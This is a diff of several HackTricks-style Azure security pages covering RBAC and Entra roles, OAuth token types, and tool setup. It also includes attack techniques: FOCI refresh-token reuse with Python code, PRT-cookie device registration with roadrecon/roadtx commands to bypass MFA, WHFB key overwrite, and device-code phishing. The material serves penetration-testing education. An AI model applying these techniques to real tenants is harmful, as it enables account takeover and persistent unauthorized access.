||||
### Administrative Units
|
||||
|
||||
Administrative units allows to **give permissions from a role over a specific portion of an organization**.
|
||||
|
||||
Example:
|
||||
|
||||
- Scenario: A company wants regional IT admins to manage only the users in their own region.
|
||||
- Implementation:
|
||||
- Create Administrative Units for each region (e.g., "North America AU", "Europe AU").
|
||||
- Populate AUs with users from their respective regions.
|
||||
- AUs can **contain users, groups, or devices**
|
||||
- AUs support **dynamic memberships**
|
||||
- AUs **cannot contain AUs**
|
||||
- Assign Admin Roles:
|
||||
- Grant the "User Administrator" role to regional IT staff, scoped to their region's AU.
|
||||
- Outcome: Regional IT admins can manage user accounts within their region without affecting other regions.
|
||||
|
||||
### Entra ID Roles
|
||||
|
||||
- In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID
|
||||
- Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
|
||||
- The most privileged role is **Global Administrator**
|
||||
- In the Description of the role it’s possible to see its **granular permissions**
|
||||
|
||||
## Roles & Permissions
|
||||
|
||||
**Roles** are **assigned** to **principals** on a **scope**: `principal -[HAS ROLE]->(scope)`
|
||||
|
||||
**Roles** assigned to **groups** are **inherited** by all the **members** of the group.
|
||||
|
||||
Depending on the scope the role was assigned to, the **role** cold be **inherited** to **other resources** inside the scope container. For example, if a user A has a **role on the subscription**, he will have that **role on all the resource groups** inside the subscription and on **all the resources** inside the resource group.
|
||||
|
||||
### **Classic Roles**
|
||||
|
||||
| **Owner** | <ul><li>Full access to all resources</li><li>Can manage access for other users</li></ul> | All resource types |
|
||||
| ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ |
|
||||
| **Contributor** | <ul><li>Full access to all resources</li><li>Cannot manage access</li></ul> | All resource types |
|
||||
| **Reader** | • View all resources | All resource types |
|
||||
| **User Access Administrator** | <ul><li>View all resources</li><li>Can manage access for other users</li></ul> | All resource types |
|
||||
|
||||
### Built-In roles
|
||||
|
||||
[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) has several Azure **built-in roles** that you can **assign** to **users, groups, service principals, and managed identities**. Role assignments are the way you control **access to Azure resources**. If the built-in roles don't meet the specific needs of your organization, you can create your own [**Azure custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
|
||||
|
||||
**Built-In** roles apply only to the **resources** they are **meant** to, for example check this 2 examples of **Built-In roles over Compute** resources:
|
||||
|
||||
| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Provides permission to backup vault to perform disk backup. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
|
||||
| ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ |
|
||||
| [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | View Virtual Machines in the portal and login as a regular user. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
|
||||
|
||||
This roles can **also be assigned over logic containers** (such as management groups, subscriptions and resource groups) and the principals affected will have them **over the resources inside those containers**.
|
||||
|
||||
- Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
|
||||
- Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
|
||||
|
||||
### Custom Roles
|
||||
|
||||
- It’s also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
|
||||
- They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups)
|
||||
- It’s possible to configure all the granular permissions the custom role will have
|
||||
- It’s possible to exclude permissions
|
||||
- A principal with a excluded permission won’t be able to use it even if the permissions is being granted elsewhere
|
||||
- It’s possible to use wildcards
|
||||
- The used format is a JSON
|
||||
- `actions` are for control actions over the resource
|
||||
- `dataActions` are permissions over the data within the object
|
||||
|
||||
Example of permissions JSON for a custom role:
|
||||
|
||||
```json
|
||||
{
|
||||
"properties": {
|
||||
"roleName": "",
|
||||
"description": "",
|
||||
"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"],
|
||||
"permissions": [
|
||||
{
|
||||
"actions": [
|
||||
"Microsoft.DigitalTwins/register/action",
|
||||
"Microsoft.DigitalTwins/unregister/action",
|
||||
"Microsoft.DigitalTwins/operations/read",
|
||||
"Microsoft.DigitalTwins/digitalTwinsInstances/read",
|
||||
"Microsoft.DigitalTwins/digitalTwinsInstances/write",
|
||||
"Microsoft.CostManagement/exports/*"
|
||||
],
|
||||
"notActions": [
|
||||
"Astronomer.Astro/register/action",
|
||||
"Astronomer.Astro/unregister/action",
|
||||
"Astronomer.Astro/operations/read",
|
||||
"Astronomer.Astro/organizations/read"
|
||||
],
|
||||
"dataActions": [],
|
||||
"notDataActions": []
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Permissions order
|
||||
|
||||
- In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**.
|
||||
- An explicit **deny role assignment takes precedence** over the role granting the permission.
|
||||
|
||||
<figure><img src="../../../images/image (191).png" alt=""><figcaption><p><a href="https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10">https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10</a></p></figcaption></figure>
|
||||
|
||||
### Global Administrator
|
||||
|
||||
Global Administrator is a role from Entra ID that grants **complete control over the Entra ID tenant**. However, it doesn't grant any permissions over Azure resources by default.
|
||||
|
||||
Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.**\
|
||||
This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
|
||||
|
||||
<figure><img src="../../../images/image (349).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Azure Policies
|
||||
|
||||
**Azure Policies** are rules that help organizations ensure their resources meet specific standards and compliance requirements. They allow you to **enforce or audit settings on resources in Azure**. For example, you can prevent the creation of virtual machines in an unauthorized region or ensure that all resources have specific tags for tracking.
|
||||
|
||||
Azure Policies are **proactive**: they can stop non-compliant resources from being created or changed. They are also **reactive**, allowing you to find and fix existing non-compliant resources.
|
||||
|
||||
#### **Key Concepts**
|
||||
|
||||
1. **Policy Definition**: A rule, written in JSON, that specifies what is allowed or required.
|
||||
2. **Policy Assignment**: The application of a policy to a specific scope (e.g., subscription, resource group).
|
||||
3. **Initiatives**: A collection of policies grouped together for broader enforcement.
|
||||
4. **Effect**: Specifies what happens when the policy is triggered (e.g., "Deny," "Audit," or "Append").
|
||||
|
||||
**Some examples:**
|
||||
|
||||
1. **Ensuring Compliance with Specific Azure Regions**: This policy ensures that all resources are deployed in specific Azure regions. For example, a company might want to ensure all its data is stored in Europe for GDPR compliance.
|
||||
2. **Enforcing Naming Standards**: Policies can enforce naming conventions for Azure resources. This helps in organizing and easily identifying resources based on their names, which is helpful in large environments.
|
||||
3. **Restricting Certain Resource Types**: This policy can restrict the creation of certain types of resources. For example, a policy could be set to prevent the creation of expensive resource types, like certain VM sizes, to control costs.
|
||||
4. **Enforcing Tagging Policies**: Tags are key-value pairs associated with Azure resources used for resource management. Policies can enforce that certain tags must be present, or have specific values, for all resources. This is useful for cost tracking, ownership, or categorization of resources.
|
||||
5. **Limiting Public Access to Resources**: Policies can enforce that certain resources, like storage accounts or databases, do not have public endpoints, ensuring that they are only accessible within the organization's network.
|
||||
6. **Automatically Applying Security Settings**: Policies can be used to automatically apply security settings to resources, such as applying a specific network security group to all VMs or ensuring that all storage accounts use encryption.
|
||||
|
||||
Note that Azure Policies can be attached to any level of the Azure hierarchy, but they are **commonly used in the root management group** or in other management groups.
|
||||
|
||||
Azure policy json example:
|
||||
|
||||
```json
|
||||
{
|
||||
"policyRule": {
|
||||
"if": {
|
||||
"field": "location",
|
||||
"notIn": ["eastus", "westus"]
|
||||
},
|
||||
"then": {
|
||||
"effect": "Deny"
|
||||
}
|
||||
},
|
||||
"parameters": {},
|
||||
"displayName": "Allow resources only in East US and West US",
|
||||
"description": "This policy ensures that resources can only be created in East US or West US.",
|
||||
"mode": "All"
|
||||
}
|
||||
```
|
||||
|
||||
### Permissions Inheritance
|
||||
|
||||
In Azure **permissions are can be assigned to any part of the hierarchy**. That includes management groups, subscriptions, resource groups, and individual resources. Permissions are **inherited** by contained **resources** of the entity where they were assigned.
|
||||
|
||||
This hierarchical structure allows for efficient and scalable management of access permissions.
|
||||
|
||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Azure RBAC vs ABAC
|
||||
|
||||
**RBAC** (role-based access control) is what we have seen already in the previous sections: **Assigning a role to a principal to grant him access** over a resource.\
|
||||
However, in some cases you might want to provide **more fined-grained access management** or **simplify** the management of **hundreds** of role **assignments**.
|
||||
|
||||
Azure **ABAC** (attribute-based access control) builds on Azure RBAC by adding **role assignment conditions based on attributes** in the context of specific actions. A _role assignment condition_ is an **additional check that you can optionally add to your role assignment** to provide more fine-grained access control. A condition filters down permissions granted as a part of the role definition and role assignment. For example, you can **add a condition that requires an object to have a specific tag to read the object**.\
|
||||
You **cannot** explicitly **deny** **access** to specific resources **using conditions**.
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions)
|
||||
- [https://abouttmc.com/glossary/azure-subscription/#:\~:text=An%20Azure%20subscription%20is%20a,the%20subscription%20it%20belongs%20to.](https://abouttmc.com/glossary/azure-subscription/)
|
||||
- [https://learn.microsoft.com/en-us/azure/role-based-access-control/overview#how-azure-rbac-determines-if-a-user-has-access-to-a-resource](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview#how-azure-rbac-determines-if-a-user-has-access-to-a-resource)
|
||||
- [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+203
@@ -0,0 +1,203 @@
|
||||
# Az - Tokens & Public Applications
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources.
|
||||
|
||||
### OAuth
|
||||
|
||||
**Key Participants in OAuth 2.0:**
|
||||
|
||||
1. **Resource Server (RS):** Protects resources owned by the resource owner.
|
||||
2. **Resource Owner (RO):** Typically an end-user who owns the protected resources.
|
||||
3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner.
|
||||
4. **Authorization Server (AS):** Issues access tokens to client applications after authenticating and authorizing them.
|
||||
|
||||
**Scopes and Consent:**
|
||||
|
||||
- **Scopes:** Granular permissions defined on the resource server that specify access levels.
|
||||
- **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes.
|
||||
|
||||
**Microsoft 365 Integration:**
|
||||
|
||||
- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications.
|
||||
- These applications are deeply integrated and often have interdependent service relationships.
|
||||
- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications.
|
||||
- **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l.
|
||||
- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces.
|
||||
|
||||
**Client Application Types:**
|
||||
|
||||
1. **Confidential Clients:**
|
||||
- Possess their own credentials (e.g., passwords or certificates).
|
||||
- Can **securely authenticate themselves** to the authorization server.
|
||||
2. **Public Clients:**
|
||||
- Do not have unique credentials.
|
||||
- Cannot securely authenticate to the authorization server.
|
||||
- **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application.
|
||||
|
||||
## Authentication Tokens
|
||||
|
||||
There are **three types of tokens** used in OIDC:
|
||||
|
||||
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default.
|
||||
- **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**.
|
||||
- **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens).
|
||||
- A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**.
|
||||
- A refresh token is encrypted and only Microsoft can decrypt it.
|
||||
- Getting a new refresh token doesn't revoke the previous refresh token.
|
||||
|
||||
> [!WARNING]
|
||||
> Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**.
|
||||
|
||||
### Access Tokens "aud"
|
||||
|
||||
The field indicated in the "aud" field is the **resource server** (the application) used to perform the login.
|
||||
|
||||
The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token:
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that the following are just the APIs supported by `az account get-access-token` but there are more.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>aud examples</summary>
|
||||
|
||||
- **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD).
|
||||
- `https://graph.windows.net/`
|
||||
|
||||
* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more.
|
||||
- `https://management.core.windows.net/ or https://management.azure.com/`
|
||||
|
||||
- **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud.
|
||||
- `https://batch.core.windows.net/`
|
||||
|
||||
* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service.
|
||||
- `https://datalake.azure.net/`
|
||||
|
||||
- **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content.
|
||||
- `https://rest.media.azure.net`
|
||||
|
||||
* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services.
|
||||
- `https://graph.microsoft.com`
|
||||
|
||||
- **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB.
|
||||
- `https://ossrdbms-aad.database.windows.net`
|
||||
|
||||
</details>
|
||||
|
||||
### Access Tokens Scopes "scp"
|
||||
|
||||
The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to.
|
||||
|
||||
If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT.
|
||||
|
||||
### Get refresh & access token example
|
||||
|
||||
```python
|
||||
# Code example from https://github.com/secureworks/family-of-client-ids-research
|
||||
import msal
|
||||
import requests
|
||||
import jwt
|
||||
from pprint import pprint
|
||||
from typing import Any, Dict, List
|
||||
|
||||
|
||||
# LOGIN VIA CODE FLOW AUTHENTICATION
|
||||
azure_cli_client = msal.PublicClientApplication(
|
||||
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
|
||||
)
|
||||
device_flow = azure_cli_client.initiate_device_flow(
|
||||
scopes=["https://graph.microsoft.com/.default"]
|
||||
)
|
||||
print(device_flow["message"])
|
||||
|
||||
# Perform device code flow authentication
|
||||
|
||||
azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
|
||||
device_flow
|
||||
)
|
||||
pprint(azure_cli_bearer_tokens_for_graph_api)
|
||||
|
||||
|
||||
|
||||
# DECODE JWT
|
||||
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
|
||||
"""Decodes base64 encoded JWT blob"""
|
||||
return jwt.decode(
|
||||
base64_blob, options={"verify_signature": False, "verify_aud": False}
|
||||
)
|
||||
decoded_access_token = decode_jwt(
|
||||
azure_cli_bearer_tokens_for_graph_api.get("access_token")
|
||||
)
|
||||
pprint(decoded_access_token)
|
||||
|
||||
|
||||
# GET NEW ACCESS TOKEN AND REFRESH TOKEN
|
||||
new_azure_cli_bearer_tokens_for_graph_api = (
|
||||
# Same client as original authorization
|
||||
azure_cli_client.acquire_token_by_refresh_token(
|
||||
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
|
||||
# Same scopes as original authorization
|
||||
scopes=["https://graph.microsoft.com/.default"],
|
||||
)
|
||||
)
|
||||
pprint(new_azure_cli_bearer_tokens_for_graph_api)
|
||||
```
|
||||
|
||||
## FOCI Tokens Privilege Escalation
|
||||
|
||||
Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended.
|
||||
|
||||
Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
|
||||
|
||||
Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server.
|
||||
|
||||
Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
|
||||
|
||||
### Get different scope
|
||||
|
||||
Following with the previous example code, in this code it's requested a new token for a different scope:
|
||||
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
azure_cli_bearer_tokens_for_outlook_api = (
|
||||
# Same client as original authorization
|
||||
azure_cli_client.acquire_token_by_refresh_token(
|
||||
new_azure_cli_bearer_tokens_for_graph_api.get(
|
||||
"refresh_token"
|
||||
),
|
||||
# But different scopes than original authorization
|
||||
scopes=[
|
||||
"https://outlook.office.com/.default"
|
||||
],
|
||||
)
|
||||
)
|
||||
pprint(azure_cli_bearer_tokens_for_outlook_api)
|
||||
```
|
||||
|
||||
### Get different client and scopes
|
||||
|
||||
```python
|
||||
# Code from https://github.com/secureworks/family-of-client-ids-research
|
||||
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
|
||||
microsoft_office_bearer_tokens_for_graph_api = (
|
||||
# This is a different client application than we used in the previous examples
|
||||
microsoft_office_client.acquire_token_by_refresh_token(
|
||||
# But we can use the refresh token issued to our original client application
|
||||
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
|
||||
# And request different scopes too
|
||||
scopes=["https://graph.microsoft.com/.default"],
|
||||
)
|
||||
)
|
||||
# How is this possible?
|
||||
pprint(microsoft_office_bearer_tokens_for_graph_api)
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,109 @@
|
||||
# Az - Device Registration
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
When a device joins AzureAD a new object is created in AzureAD.
|
||||
|
||||
When registering a device, the **user is asked to login with his account** (asking for MFA if needed), then it request tokens for the device registration service and then ask a final confirmation prompt.
|
||||
|
||||
Then, two RSA keypairs are generated in the device: The **device key** (**public** key) which is sent to **AzureAD** and the **transport** key (**private** key) which is stored in TPM if possible.
|
||||
|
||||
Then, the **object** is generated in **AzureAD** (not in Intune) and AzureAD gives back to the device a **certificate** signed by it. You can check that the **device is AzureAD joined** and info about the **certificate** (like if it's protected by TPM).:
|
||||
|
||||
```bash
|
||||
dsregcmd /status
|
||||
```
|
||||
|
||||
After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.**
|
||||
|
||||
For more information about what is a PRT check:
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
### TPM - Trusted Platform Module
|
||||
|
||||
The **TPM** **protects** against key **extraction** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\
|
||||
But it **doesn't protect** against **sniffing** the physical connection between the TPM and CPU or **using the cryptograpic material** in the TPM while the system is running from a process with **SYSTEM** rights.
|
||||
|
||||
If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys):
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Registering a device with SSO tokens
|
||||
|
||||
It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it:
|
||||
|
||||
```bash
|
||||
# Initialize SSO flow
|
||||
roadrecon auth prt-init
|
||||
.\ROADtoken.exe <nonce>
|
||||
|
||||
# Request token with PRT with PRT cookie
|
||||
roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
|
||||
|
||||
# Custom pyhton script to register a device (check roadtx)
|
||||
registerdevice.py
|
||||
```
|
||||
|
||||
Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**.
|
||||
|
||||
> [!TIP]
|
||||
> Note that to perform this attack you will need permissions to **register new devices**. Also, registering a device doesn't mean the device will be **allowed to enrol into Intune**.
|
||||
|
||||
> [!CAUTION]
|
||||
> This attack was fixed in September 2021 as you can no longer register new devices using a SSO tokens. However, it's still possible to register devices in a legit way (having username, password and MFA if needed). Check: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
|
||||
|
||||
## Overwriting a device ticket
|
||||
|
||||
It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info [**check this talk**](https://youtu.be/BduCn8cLV1A).
|
||||
|
||||
<figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> However, this was fixed.
|
||||
|
||||
## Overwrite WHFB key
|
||||
|
||||
[**Check the original slides here**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
|
||||
|
||||
Attack summary:
|
||||
|
||||
- It's possible to **overwrite** the **registered WHFB** key from a **device** via SSO
|
||||
- It **defeats TPM protection** as the key is **sniffed during the generation** of the new key
|
||||
- This also provides **persistence**
|
||||
|
||||
<figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Users can modify their own searchableDeviceKey property via the Azure AD Graph, however, the attacker needs to have a device in the tenant (registered on the fly or having stolen cert + key from a legit device) and a valid access token for the AAD Graph.
|
||||
|
||||
Then, it's possible to generate a new key with:
|
||||
|
||||
```bash
|
||||
roadtx genhellokey -d <device id> -k tempkey.key
|
||||
```
|
||||
|
||||
and then PATCH the information of the searchableDeviceKey:
|
||||
|
||||
<figure><img src="../../images/image (36).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's possible to get an access token from a user via **device code phishing** and abuse the previous steps to **steal his access**. For more information check:
|
||||
|
||||
{{#ref}}
|
||||
az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
|
||||
{{#endref}}
|
||||
|
||||
<figure><img src="../../images/image (37).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
|
||||
- [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A)
|
||||
- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
|
||||
- [https://www.youtube.com/watch?v=AFay_58QubY](https://www.youtube.com/watch?v=AFay_58QubY)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,149 @@
|
||||
# Az - Enumeration Tools
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Install PowerShell in Linux
|
||||
|
||||
> [!TIP]
|
||||
> In linux you will need to install PowerShell Core:
|
||||
>
|
||||
> ```bash
|
||||
> sudo apt-get update
|
||||
> sudo apt-get install -y wget apt-transport-https software-properties-common
|
||||
>
|
||||
> # Ubuntu 20.04
|
||||
> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
|
||||
>
|
||||
> # Update repos
|
||||
> sudo apt-get update
|
||||
> sudo add-apt-repository universe
|
||||
>
|
||||
> # Install & start powershell
|
||||
> sudo apt-get install -y powershell
|
||||
> pwsh
|
||||
>
|
||||
> # Az cli
|
||||
> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
|
||||
> ```
|
||||
|
||||
## Install PowerShell in MacOS
|
||||
|
||||
Instructions from the [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
|
||||
|
||||
1. Install `brew` if not installed yet:
|
||||
|
||||
```bash
|
||||
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
|
||||
```
|
||||
|
||||
2. Install the latest stable release of PowerShell:
|
||||
|
||||
```sh
|
||||
brew install powershell/tap/powershell
|
||||
```
|
||||
|
||||
3. Run PowerShell:
|
||||
|
||||
```sh
|
||||
pwsh
|
||||
```
|
||||
|
||||
4. Update:
|
||||
|
||||
```sh
|
||||
brew update
|
||||
brew upgrade powershell
|
||||
```
|
||||
|
||||
## Main Enumeration Tools
|
||||
|
||||
### az cli
|
||||
|
||||
[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is a cross-platform tool written in Python for managing and administering (most) Azure and Entra ID resources. It connects to Azure and executes administrative commands via the command line or scripts.
|
||||
|
||||
Follow this link for the [**installation instructions¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
|
||||
|
||||
Commands in Azure CLI are structured using a pattern of: `az <service> <action> <parameters>`
|
||||
|
||||
#### Debug | MitM az cli
|
||||
|
||||
Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending:
|
||||
|
||||
```bash
|
||||
az account management-group list --output table --debug
|
||||
```
|
||||
|
||||
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Bash" }}
|
||||
|
||||
```bash
|
||||
export ADAL_PYTHON_SSL_NO_VERIFY=1
|
||||
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
||||
export HTTPS_PROXY="http://127.0.0.1:8080"
|
||||
export HTTP_PROXY="http://127.0.0.1:8080"
|
||||
|
||||
# If this is not enough
|
||||
# Download the certificate from Burp and convert it into .pem format
|
||||
# And export the following env variable
|
||||
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
|
||||
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="PS" }}
|
||||
|
||||
```bash
|
||||
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
|
||||
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
||||
$env:HTTPS_PROXY="http://127.0.0.1:8080"
|
||||
$env:HTTP_PROXY="http://127.0.0.1:8080"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Az PowerShell
|
||||
|
||||
Azure PowerShell is a module with cmdlets for managing Azure resources directly from the PowerShell command line.
|
||||
|
||||
Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
|
||||
|
||||
Commands in Azure PowerShell AZ Module are structured like: `<Action>-Az<Service> <parameters>`
|
||||
|
||||
#### Debug | MitM Az PowerShell
|
||||
|
||||
Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending:
|
||||
